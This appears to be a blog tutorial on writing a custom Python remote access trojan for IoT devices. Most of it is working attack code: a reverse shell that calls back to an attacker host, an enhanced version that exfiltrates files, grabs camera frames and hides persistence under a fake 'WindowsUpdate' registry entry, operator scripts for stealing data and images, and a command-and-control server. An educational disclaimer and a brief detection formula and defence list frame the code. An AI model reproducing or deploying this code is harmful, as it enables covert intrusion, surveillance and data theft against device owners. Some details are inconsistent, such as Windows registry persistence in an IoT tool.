Custom Python Rat for Iot Devices

⚠️
The code and techniques presented in this article are for educational purposes only. Unauthorized access to computer systems is illegal and unethical. Always obtain proper authorization before attempting to access or control any device or network that you do not own or have explicit permission to use.

Understanding RATs and IoT Devices

A Remote Access Trojan (RAT) is a type of software that provides remote access to a computer or device. When applied to IoT devices, RATs can be particularly powerful due to the often limited security measures implemented on these devices.

IoT devices, such as smart home appliances, industrial sensors, or surveillance cameras, typically run lightweight operating systems and have constrained resources. This makes them ideal targets for simple yet effective Python-based RATs.

Creating a Basic Python RAT for IoT

Let’s start by creating a simple Python RAT that can establish a connection and execute basic commands on an IoT device.

basic_rat.py
import socket
import subprocess

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker_ip", 4444))
    return s

def execute_command(s, command):
    output = subprocess.run(command, shell=True, capture_output=True, text=True)
    s.send(output.stdout.encode())
    s.send(output.stderr.encode())

def main():
    s = connect()
    while True:
        command = s.recv(1024).decode().strip()
        if command.lower() == "exit":
            break
        execute_command(s, command)
    s.close()

if __name__ == "__main__":
    main()

This basic RAT establishes a connection to a predefined IP address and port, then waits for commands to execute. The attacker can send shell commands, which the RAT will execute and return the output.

Enhancing the RAT with IoT-Specific Features

Now, let’s add some features that make our RAT more suitable for IoT devices:

  1. Device information gathering
  2. File exfiltration
  3. Camera access (if available)
  4. Persistence

Here’s an enhanced version of our RAT:

enhanced_rat.py
import socket
import subprocess
import os
import platform
import psutil
import cv2
import base64
import winreg as reg

def connect():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("attacker_ip", 4444))
    return s

def execute_command(s, command):
    output = subprocess.run(command, shell=True, capture_output=True, text=True)
    s.send(output.stdout.encode())
    s.send(output.stderr.encode())

def get_system_info():
    info = f"OS: {platform.system()} {platform.release()}\n"
    info += f"CPU: {platform.processor()}\n"
    info += f"RAM: {psutil.virtual_memory().total / (1024 ** 3):.2f} GB\n"
    info += f"Disk: {psutil.disk_usage('/').total / (1024 ** 3):.2f} GB\n"
    return info

def exfiltrate_file(s, file_path):
    try:
        with open(file_path, "rb") as f:
            data = f.read()
        s.send(base64.b64encode(data))
    except Exception as e:
        s.send(str(e).encode())

def capture_camera():
    cap = cv2.VideoCapture(0)
    ret, frame = cap.read()
    cap.release()
    if ret:
        _, buffer = cv2.imencode('.jpg', frame)
        return base64.b64encode(buffer)
    return b"Failed to capture image"

def add_to_startup(file_path):
    key_path = r"Software\Microsoft\Windows\CurrentVersion\Run"
    try:
        key = reg.HKEY_CURRENT_USER
        key_value = "WindowsUpdate"
        open = reg.OpenKey(key, key_path, 0, reg.KEY_ALL_ACCESS)
        reg.SetValueEx(open, key_value, 0, reg.REG_SZ, file_path)
        reg.CloseKey(open)
        return True
    except WindowsError:
        return False

def main():
    s = connect()
    while True:
        command = s.recv(1024).decode().strip()
        if command.lower() == "exit":
            break
        elif command.lower() == "sysinfo":
            s.send(get_system_info().encode())
        elif command.lower().startswith("exfil "):
            exfiltrate_file(s, command.split(" ", 1)[1])
        elif command.lower() == "camera":
            s.send(capture_camera())
        elif command.lower() == "persist":
            result = add_to_startup(os.path.abspath(__file__))
            s.send(f"Persistence {'successful' if result else 'failed'}".encode())
        else:
            execute_command(s, command)
    s.close()

if __name__ == "__main__":
    main()

This enhanced version includes functions for gathering system information, exfiltrating files, capturing images from the device’s camera (if available), and adding persistence.

Use Cases and Examples

1. Monitoring IoT Device Health

You can use the RAT to periodically check the device’s health:

health_monitor.py
import schedule
import time

def check_device_health(s):
    s.send("sysinfo".encode())
    info = s.recv(1024).decode()
    print(f"Device Health:\n{info}")

schedule.every(1).hour.do(check_device_health, s)

while True:
    schedule.run_pending()
    time.sleep(1)

2. Exfiltrating Sensitive Data

If the IoT device stores sensitive data, you can exfiltrate it:

data_exfiltration.py
s.send("exfil /path/to/sensitive/file.txt".encode())
data = s.recv(4096)
with open("exfiltrated_file.txt", "wb") as f:
    f.write(base64.b64decode(data))

3. Capturing Images from IoT Cameras

For IoT devices with cameras, you can capture images remotely:

camera_capture.py
s.send("camera".encode())
image_data = s.recv(1000000)  # Adjust buffer size as needed
with open("captured_image.jpg", "wb") as f:
    f.write(base64.b64decode(image_data))

4. Adding Persistence

To ensure the RAT starts on system boot:

add_persistence.py
s.send("persist".encode())
result = s.recv(1024).decode()
print(result)

5. Command and Control (C2) Server

Here’s a simple C2 server to manage multiple RAT connections:

c2_server.py
import socket
import threading

class C2Server:
    def __init__(self, host, port):
        self.host = host
        self.port = port
        self.clients = []

    def start(self):
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.bind((self.host, self.port))
        server.listen(5)
        print(f"[*] Listening on {self.host}:{self.port}")

        while True:
            client, address = server.accept()
            print(f"[*] Accepted connection from {address[0]}:{address[1]}")
            client_handler = threading.Thread(target=self.handle_client, args=(client,))
            client_handler.start()
            self.clients.append(client)

    def handle_client(self, client_socket):
        while True:
            cmd = input("Enter command: ")
            if cmd == 'quit':
                break
            client_socket.send(cmd.encode())
            response = client_socket.recv(4096).decode()
            print(response)

        client_socket.close()

if __name__ == "__main__":
    c2 = C2Server("0.0.0.0", 4444)
    c2.start()

RAT Communication Flow

The following Mermaid diagram illustrates the communication flow between the attacker, C2 server, and the IoT device:

sequenceDiagram
    participant Attacker
    participant C2 Server
    participant IoT Device
    Attacker->>C2 Server: Start server
    IoT Device->>C2 Server: Connect
    C2 Server-->>Attacker: Connection established
    loop Command Execution
        Attacker->>C2 Server: Input command
        C2 Server->>IoT Device: Send command
        IoT Device->>IoT Device: Execute command
        IoT Device-->>C2 Server: Send result
        C2 Server-->>Attacker: Display result
    end
    Attacker->>C2 Server: Exit
    C2 Server->>IoT Device: Close connection

Mathematical Model for RAT Detection

We can model the probability of detecting a RAT on an IoT device using a simple Bayesian approach:

Let:

  • $P(R)$ be the prior probability of a device having a RAT
  • $P(D|R)$ be the probability of detecting anomalous behavior given a RAT is present
  • $P(D|\neg R)$ be the probability of detecting anomalous behavior given no RAT is present

Then, the probability of a RAT being present given detected anomalous behavior is:

$$ P(R|D) = \frac{P(D|R) \cdot P(R)}{P(D|R) \cdot P(R) + P(D|\neg R) \cdot P(\neg R)} $$

This model can be used to estimate the likelihood of a RAT infection based on observed device behavior.

Conclusion

This article has demonstrated how to create a custom Python RAT for IoT devices, including features like system information gathering, file exfiltration, camera access, and persistence. We’ve explored various use cases and provided code examples for different scenarios.

To protect against such attacks, IoT device manufacturers and users should implement strong security measures, including:

  1. Regular software updates and patch management
  2. Strong authentication mechanisms
  3. Network segmentation
  4. Intrusion detection and prevention systems
  5. Encryption of sensitive data and communications

By understanding how RATs work on IoT devices, security professionals can better defend against these threats and create more secure IoT ecosystems. Always remember to use this knowledge ethically and responsibly.